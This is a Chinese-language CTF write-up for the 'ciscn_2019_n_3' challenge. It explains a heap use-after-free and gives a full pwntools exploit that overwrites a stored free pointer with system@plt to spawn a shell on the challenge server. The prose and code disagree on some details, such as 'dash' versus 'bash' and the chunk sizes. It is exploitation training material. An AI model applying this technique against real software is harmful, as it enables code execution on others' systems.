漏洞点
可以看到主要就是在free的时候没有将相应的数组里的置0,可以导致UAF的漏洞:
漏洞利用
由于本题将printf和free函数的指针都放在了申请的堆上,而且程序调用了system函数因此我们就不用泄露libc基址了,我们的目标就是取得对存放指针的堆块的控制。
我们可以利用fastbin的LIFO的机制,取得对存放指针的堆块的控制,修改free指针指向system@plt,可以getshell
#0号堆块 (string)0xc 0x38
#1号堆块(int) 0xc
我们释放0和1号堆块,再申请0xc大小的string的堆块
#2号堆块 (string) 0xc 0xc
此时原本0号堆块的存放print和free指针的堆块已经可以被我们修改,直接修改为“dash”加system的地址。之所以在前面加dash是因为我们会多输入一个‘\x0a’即换行符导致指针会指向dash处。
exp
from pwn import *
p = process("./ciscn_2019_n_3")
context.log_level = 'debug'
context.arch = 'x86'
rmt = "node2.buuoj.cn.wetolink.com"
port = 28717
p = remote(rmt,port)
elf = ELF("ciscn_2019_n_3")
def newnote(idx,type,value,length=0):
p.recvuntil("CNote > ")
p.sendline(str(1))
p.recvuntil("Index > ")
p.sendline(str(idx))
p.recvuntil("Type > ")
p.sendline(str(type))
if type == 1:
p.recvuntil("Value > ")
p.sendline(str(value))
else:
p.recvuntil("Length > ")
p.sendline(str(length))
p.recvuntil("Value > ")
if length == 8:
p.send(value)
else:
p.sendline(value)
def delnote(idx):
p.recvuntil("CNote > ")
p.sendline(str(2))
p.recvuntil("Index > ")
p.sendline(str(idx))
def shownote(idx):
p.recvuntil("CNote > ")
p.sendline(str(3))
p.recvuntil("Index > ")
p.sendline(str(idx))
if __name__ == "__main__":
newnote(0,2,'a'*10,0x88)
newnote(1,2,'a'*10,0x38)
#gdb.attach(p)
newnote(2,1,0x41)
#newnote(2,2,'b'*10,0x38)
delnote(1)
delnote(2)
newnote(3,2,'bash'+p32(elf.plt['system']),0xc)
#gdb.attach(p)
newnote(4,2,"/bin/sh\x00",0x38)
delnote(1)
p.interactive()